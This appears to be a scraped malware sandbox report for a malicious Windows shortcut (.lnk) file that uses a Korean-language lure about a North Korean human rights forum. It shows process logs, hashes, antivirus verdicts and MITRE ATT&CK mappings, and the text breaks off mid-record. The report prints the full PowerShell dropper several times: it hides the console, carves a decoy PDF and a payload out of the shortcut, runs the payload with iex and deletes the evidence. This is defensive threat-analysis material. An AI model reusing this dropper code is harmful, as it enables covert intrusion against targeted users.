"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" (Handle: 392) "powershell.exe" wrote 00000004 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" (Handle: 2156) "powershell.exe" wrote 00000004 bytes to a remote process "C:\Program Files (x86)\Adobe\Reader 11.0\Reader\AcroRd32.exe" (Handle: 2512) "cmd.exe" wrote 00000004 bytes to a remote process "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" (Handle: 388) "powershell.exe" wrote 00000004 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" (Handle: 2392) "powershell.exe" wrote 00000004 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" (Handle: 2568) "powershell.exe" wrote 00000004 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" (Handle: 2472) "powershell.exe" wrote 00000004 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" (Handle: 2488)5d:T18a2,Spawned process "cmd.exe" with commandline "/kfor /f "tokens=*" %a in ('dir C:\\Windows\\SysWow64\\WindowsPowerShell\\v1.0\\*rshell.exe /s /b /od') do call %a "$t1 = 'user32.dll';$t = 'using System; using System.Runtime.InteropServices; public class User32 {[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ', SetLastError = true)]public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ')] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); }'; Add-Type -TypeDefinition $t;$proName = 'cmd.exe'; $cmdMainWindowHandle = [User32]::FindWindow([NullString]::Value, $proName);[User32]::ShowWindow($cmdMainWindowHandle, 0);$dirPath = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = 'C:\\Users\\HAPUBWS\\AppData\\Local\\Temp'}; $lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x032AC1C5} | Select-Object -ExpandProperty FullName;$lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$lnkFile.Seek(0x000018FA, [System.IO.SeekOrigin]::Begin);$pdfFile=New-Object byte[] 0x0000B370;$lnkFile.Read($pdfFile, 0, 0x0000B370);$pdfPath = $lnkPath.replace('.lnk','.pdf');sc $pdfPath $pdfFile -Encoding Byte;& $pdfPath;$lnkFile.Seek(0x0000CC6A,[System.IO.SeekOrigin]::Begin);$exeFile=New-Object byte[] 0x00000C03;$lnkFile.Read($exeFile, 0, 0x00000C03);$exePath=$env:public+'\\'+'public.dat';sc $exePath $exeFile -Encoding Byte;$lnkFile.Seek(0x0000D86D,[System.IO.SeekOrigin]::Begin);$batFile=New-Object byte[] 0x000000FA;$lnkFile.Read($batFile, 0, 0x000000FA);$batPath=$env:public+'\\'+'\ubd81\ud55c\uc778\uad8c \uc804\ubb38\uac00 \ud1a0\ub860\ud68c061223.bat';sc $batPath $batFile -Encoding Byte;& $batPath;$lnkFile.Close();remove-item -path $lnkPath -force;" && exit" (UID: 00000000-00005204) Spawned process "cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /c dir %WINDIR%\\SysWow64\\WindowsPowerShell\\v1.0\\*rshell.exe /s /b /od" (UID: 00000000-00005920) Spawned process "powershell.exe" with commandline "C:\\Windows\\SysWow64\\WindowsPowerShell\\v1.0\\powershell.exe "$t1 = 'user32.dll';$t = 'using System; using System.Runtime.InteropServices; public class User32 {[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ', SetLastError = true)]public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ')] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); }'; Add-Type -TypeDefinition $t;$proName = 'cmd.exe'; $cmdMainWindowHandle = [User32]::FindWindow([NullString]::Value, $proName);[User32]::ShowWindow($cmdMainWindowHandle, 0);$dirPath = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = 'C:\\Users\\HAPUBWS\\AppData\\Local\\Temp'}; $lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x032AC1C5} | Select-Object -ExpandProperty FullName;$lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$lnkFile.Seek(0x000018FA, [System.IO.SeekOrigin]::Begin);$pdfFile=New-Object byte[] 0x0000B370;$lnkFile.Read($pdfFile, 0, 0x0000B370);$pdfPath = $lnkPath.replace('.lnk','.pdf');sc $pdfPath $pdfFile -Encoding Byte;& $pdfPath;$lnkFile.Seek(0x0000CC6A,[System.IO.SeekOrigin]::Begin);$exeFile=New-Object byte[] 0x00000C03;$lnkFile.Read($exeFile, 0, 0x00000C03);$exePath=$env:public+'\\'+'public.dat';sc $exePath $exeFile -Encoding Byte;$lnkFile.Seek(0x0000D86D,[System.IO.SeekOrigin]::Begin);$batFile=New-Object byte[] 0x000000FA;$lnkFile.Read($batFile, 0, 0x000000FA);$batPath=$env:public+'\\'+'\ubd81\ud55c\uc778\uad8c \uc804\ubb38\uac00 \ud1a0\ub860\ud68c061223.bat';sc $batPath $batFile -Encoding Byte;& $batPath;$lnkFile.Close();remove-item -path $lnkPath -force;"" (UID: 00000000-00008260) Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\3gli4njl\\3gli4njl.cmdline"" (UID: 00000000-00008840) Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RESA502.tmp" "%TEMP%\\3gli4njl\\CSC35A97DE2612744E8B14AC8C434532B2C.TMP"" (UID: 00000000-00007104) Spawned process "cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /c ""%PUBLIC%\\\ubd81\ud55c\uc778\uad8c \uc804\ubb38\uac00 \ud1a0\ub860\ud68c061223.bat""" (UID: 00000000-00000244) Spawned process "powershell.exe" with commandline "-windowstyle hidden $content = Get-Content -path "%PUBLIC%\\public.dat" -Encoding Byte;$exeStr=[System.Text.Encoding]::UTF8.GetString($content);Write-Host $exeStr;iex $exeStr;" (UID: 00000000-00004464) Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\x0ckcpo4\\x0ckcpo4.cmdline"" (UID: 00000000-00006672) Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RES6CB7.tmp" "%TEMP%\\x0ckcpo4\\CSC545EDEC1B6A24621B3D8FDD4F95A96F8.TMP"" (UID: 00000000-00008900) Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\3voxxt4g\\3voxxt4g.cmdline"" (UID: 00000000-00003028) Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RES73FA.tmp" "%TEMP%\\3voxxt4g\\CSC8759B82ACF004E32831A2140855ECF7F.TMP"" (UID: 00000000-00005524) Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\c2iwyi10\\c2iwyi10.cmdline"" (UID: 00000000-00008520) Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RES7523.tmp" "%TEMP%\\c2iwyi10\\CSCF7D6607B74D143549E86C6AE13DE3CF.TMP"" (UID: 00000000-00008956) Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\vppfuper\\vppfuper.cmdline"" (UID: 00000000-00009096) Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RES763C.tmp" "%TEMP%\\vppfuper\\CSC108872B4C9EF4BFBAE2A7F3F5F6A8C4C.TMP"" (UID: 00000000-00008544)5e:Ta99,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008852-59345-161-0128A4E0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008852-59345-214-0128C439 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008852-59345-214-0128C439 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008852-59345-151-0128D501 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008852-59345-151-0128D501 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008852-59345-195-01288AF0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008852-59345-195-01288AF0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008852-59345-141-0128D610 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008852-59345-141-0128D610 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008852-59345-199-01287C30 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008852-59345-199-01287C30 Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00008852-59345-194-0128C4B6 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00008852-59345-194-0128C4B6 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008852-59345-149-0128D560 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008852-59345-149-0128D560 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008852-59345-215-012892C0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008852-59345-215-012892C0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008852-59345-182-01288190 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008852-59345-182-01288190 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008852-59345-202-012885B0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008852-59345-202-012885B0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008852-59345-49-0128EE60 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008852-59345-162-0128A4B0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008852-59345-158-0128A510 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008852-59345-198-01288E30 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008852-59345-198-01288E30 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008852-59345-203-012889F0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008852-59345-203-012889F05f:T79f,/kfor /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a "$t1 = 'user32.dll';$t = 'using System; using System.Runtime.InteropServices; public class User32 {[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ', SetLastError = true)]public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ')] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); }'; Add-Type -TypeDefinition $t;$proName = 'cmd.exe'; $cmdMainWindowHandle = [User32]::FindWindow([NullString]::Value, $proName);[User32]::ShowWindow($cmdMainWindowHandle, 0);$dirPath = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = 'C:\Users\HAPUBWS\AppData\Local\Temp'}; $lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x032AC1C5} | Select-Object -ExpandProperty FullName;$lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$lnkFile.Seek(0x000018FA, [System.IO.SeekOrigin]::Begin);$pdfFile=New-Object byte[] 0x0000B370;$lnkFile.Read($pdfFile, 0, 0x0000B370);$pdfPath = $lnkPath.replace('.lnk','.pdf');sc $pdfPath $pdfFile -Encoding Byte;& $pdfPath;$lnkFile.Seek(0x0000CC6A,[System.IO.SeekOrigin]::Begin);$exeFile=New-Object byte[] 0x00000C03;$lnkFile.Read($exeFile, 0, 0x00000C03);$exePath=$env:public+'\'+'public.dat';sc $exePath $exeFile -Encoding Byte;$lnkFile.Seek(0x0000D86D,[System.IO.SeekOrigin]::Begin);$batFile=New-Object byte[] 0x000000FA;$lnkFile.Read($batFile, 0, 0x000000FA);$batPath=$env:public+'\'+'북한인권 전문가 토론회061223.bat';sc $batPath $batFile -Encoding Byte;& $batPath;$lnkFile.Close();remove-item -path $lnkPath -force;" && exit60:T658,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAEh0lEQVR4Xu2XW1NbVRTH8wm0+g38Al7q7bW1Lz46Y58cnRY79UXH+uToi9MAgVAZA8hUS0hIAokYkTJQmkKI3IaGBx968U0upfQSCCE3yD0s13/n7PSckwSTdHxzzfxnnyRn9v+31tp7nxOD4f+oEh6Ph9xuN42MuGl4ZISGh4fJ5XKR0+kkh8NJQw4H2YeGyG63k81mp0GbjayDgzRgtdK1gQG+z0X9/f2kn7fugHmxWKyqglQBY6E0Fkrj0dERAX5nZ4dcDN00BDKHWT6fp5xUrqRsLsfiMYsxRxkeM5msGAECgIODAwoxxBBXy9IMBMpeLB41DRCPxykajdL29jbZuE0Wi6UxCPQcFZiammpIEiASiVA4HKZQKETr6+tibeg9jg0sOABUz15dgVLm+gp0d3dr1Nv3Y2MAWO0CQDEuSZrnSuYwVo1pAZGlra2HtLH5QNGm+NzT29cYALZaMy2opny+QJae3sYAsM+x1Z6VXFt6UfYq2aMVuC4rnVEAehoDwCGjBVB6rjJX9x7mAkIDkCkD/FDvLvAZXqQlwwmhRZUWVJpn/cH3SQUUzankV2mWNaNonKX31ASM44aXKcaKKtpnRRTtscKGl4R2WTuKQoqesp6wHit6xNpW9JAFCL2nJgDwX5lDt/4NAOWW5gdnW0gdOf+CMI+fPa/5Psvf7508VTbP/Xmn/FtxP1o232KhxXpPTUgAZJ5UAGInT1NCMYV5TLmOsOnuiVeEYWF9s5w5Pqe8E5rMYf6gXgBZdgkQZSMJED3zgQYAZY9d/Ep83uPfUPasAqA3rwsAq1z2PKFrQfJro+i5BJBl3+UREeHvkTUAZOBamm/y3DerAQSDQVpdXaXg7du0srJCy8vLtLS4RIsLCzQ/P0+BQIDm/HPkn52lmVszNHN9QkweZmOUPKpUYJcrIAEOuQLqzGG+UQsA5njs1qub09MlQ7RAWQMwlT2XAHrzmgDIHBOn02n6ay1EZy556d3P3BVKpVLivht8vqsD/X7MILLnagC1+TpruhoAyi4BoPtrT+m9L0fpnYsujQCAJ+Lk5GTNfV6t7NJ8rRYAeq4HOP2Fm96+4NDo8PBQAEzwGmjGHLpRDQALTgLc//sJnfp8mN761KZVi02852X5oXN9fLx8tkvhhMMWk0KvpZA1BHOv4YVKAKx2CXDBPElvtlgrdd5KyWRSAPw+NkYpfsqlUmk6rEN4o2ptN1Uay8BWA0B4P05vnLum6GehscA9IVwnEgl+3GZozOuteOk4TgAwtrXXBsA+B8DGozC9/slPZY0F7oqyI3Ov/4540wWAd/TXiiyPEwAut7bVBsAhI1vw/iUnvfZxP334TendHubIHOaxWEwAjHp+efayWqcuG1trA+CEAwAmX7m7Qa9+1EfnWn8Tq14NAQHSw/+auq58T+auK9Rp7qIOs5lMnayOTmo3dVCbySR6jrIjc5h/ZzTWBsDxKk85bLPgvU369qpPLDhAScltOsL/GfRzPFf4fD5xvOKEwyGDfY6thtWOBYeeo+zIHOYO/qejn+N54h9rVjcpro61KgAAAABJRU5ErkJggg==61:T764,C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe "$t1 = 'user32.dll';$t = 'using System; using System.Runtime.InteropServices; public class User32 {[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ', SetLastError = true)]public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ')] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); }'; Add-Type -TypeDefinition $t;$proName = 'cmd.exe'; $cmdMainWindowHandle = [User32]::FindWindow([NullString]::Value, $proName);[User32]::ShowWindow($cmdMainWindowHandle, 0);$dirPath = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = 'C:\Users\HAPUBWS\AppData\Local\Temp'}; $lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x032AC1C5} | Select-Object -ExpandProperty FullName;$lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$lnkFile.Seek(0x000018FA, [System.IO.SeekOrigin]::Begin);$pdfFile=New-Object byte[] 0x0000B370;$lnkFile.Read($pdfFile, 0, 0x0000B370);$pdfPath = $lnkPath.replace('.lnk','.pdf');sc $pdfPath $pdfFile -Encoding Byte;& $pdfPath;$lnkFile.Seek(0x0000CC6A,[System.IO.SeekOrigin]::Begin);$exeFile=New-Object byte[] 0x00000C03;$lnkFile.Read($exeFile, 0, 0x00000C03);$exePath=$env:public+'\'+'public.dat';sc $exePath $exeFile -Encoding Byte;$lnkFile.Seek(0x0000D86D,[System.IO.SeekOrigin]::Begin);$batFile=New-Object byte[] 0x000000FA;$lnkFile.Read($batFile, 0, 0x000000FA);$batPath=$env:public+'\'+'북한인권 전문가 토론회061223.bat';sc $batPath $batFile -Encoding Byte;& $batPath;$lnkFile.Close();remove-item -path $lnkPath -force;"1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"3fd02c7057ef1324ad74714a7fc4b00ac338cfb172a788d98e5a781548b8f027","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791590855783,"unified_at":"2026-10-10T00:07:35.783Z","metadata":{"hashes":{"sha256":"3fd02c7057ef1324ad74714a7fc4b00ac338cfb172a788d98e5a781548b8f027","sha1":"47e54ee76620aa2f50dfcc120e60bb20b9cd534f","md5":"d11d3032e7c38fa314a55ac4b5e61c5d","sha512":"ab8538bd3025b27d57bcb2e8a6cbcf9983f965da123253d7daaf6101d7a50f8c9be7741b118ce36f7ef8af14f2bb06bc8ab98ec0015d3d1ad978b505a426e62a","ssdeep":"1536:Vxa+rs4fmPwnF1xOM5O9ZbAXPguK3m1DAN1hmFd97q:rap4ePw3sM099AcuDQ1q97q","ssdeep_chunks":["1536:Vxa+rs4","1536:xa+rs4f","1536:a+rs4fm","1536:+rs4fmP","1536:rs4fmPw","1536:s4fmPwn","1536:4fmPwnF","1536:fmPwnF1","1536:mPwnF1x","1536:PwnF1xO","1536:wnF1xOM","1536:nF1xOM5","1536:F1xOM5O","1536:1xOM5O9","1536:xOM5O9Z","1536:OM5O9Zb","1536:M5O9ZbA","1536:5O9ZbAX","1536:O9ZbAXP","1536:9ZbAXPg","1536:ZbAXPgu","1536:bAXPguK","1536:AXPguK3","1536:XPguK3m","1536:PguK3m1","1536:guK3m1D","1536:uK3m1DA","1536:K3m1DAN","1536:3m1DAN1","1536:m1DAN1h","1536:1DAN1hm","1536:DAN1hmF","1536:AN1hmFd","1536:N1hmFd9","1536:1hmFd97","1536:hmFd97q","3072:Vxa+rs4","3072:xa+rs4f","3072:a+rs4fm","3072:+rs4fmP","3072:rs4fmPw","3072:s4fmPwn","3072:4fmPwnF","3072:fmPwnF1","3072:mPwnF1x","3072:PwnF1xO","3072:wnF1xOM","3072:nF1xOM5","3072:F1xOM5O","3072:1xOM5O9","3072:xOM5O9Z","3072:OM5O9Zb","3072:M5O9ZbA","3072:5O9ZbAX","3072:O9ZbAXP","3072:9ZbAXPg","3072:ZbAXPgu","3072:bAXPguK","3072:AXPguK3","3072:XPguK3m","3072:PguK3m1","3072:guK3m1D","3072:uK3m1DA","3072:K3m1DAN","3072:3m1DAN1","3072:m1DAN1h","3072:1DAN1hm","3072:DAN1hmF","3072:AN1hmFd","3072:N1hmFd9","3072:1hmFd97","3072:hmFd97q","1536:rap4ePw","1536:ap4ePw3","1536:p4ePw3s","1536:4ePw3sM","1536:ePw3sM0","1536:Pw3sM09","1536:w3sM099","1536:3sM099A","1536:sM099Ac","1536:M099Acu","1536:099AcuD","1536:99AcuDQ","1536:9AcuDQ1","1536:AcuDQ1q","1536:cuDQ1q9","1536:uDQ1q97","1536:DQ1q97q"],"imphash":"Unknown"},"file_info":{"file_name":"???????????? ???????? ???????.lnk","file_type":["lnk"],"file_type_id":"file link","file_size":53133765,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1714571360000,"last_seen":1720091657000,"last_multi_scan":1720091657000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["downloader","nimblinkus","ricochetchollima","targeted"]},"stats":{"av":{"malicious_count":5,"suspicious_count":0,"total_engines":23},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":71},"sandbox_signatures":{"informative_count":182,"suspicious_count":9,"malicious_count":4,"total":195},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Script/ASD.External.S2343","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cylance":{"name":"Cylance","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"LNK/TrojanDropper.Agent.DQ trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"Trojan/Starter.aj","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/LnkDrop-M","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"Trojan.Link.Crafted","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"LNK/TrojanDropper.Agent","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Executes Powershell command strings"},{"type":"informative","value":"YARA signature match - PowerShell file content"},{"type":"suspicious","value":"Commandline contains PowerShell"},{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"Contains ability to run commands (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to executes commands or batch file"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Calls an API typically used to create a process"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to open a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads the .NET runtime environment"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"malicious","value":"Found shellcode in interpreted commandline"},{"type":"informative","value":"Executes batch 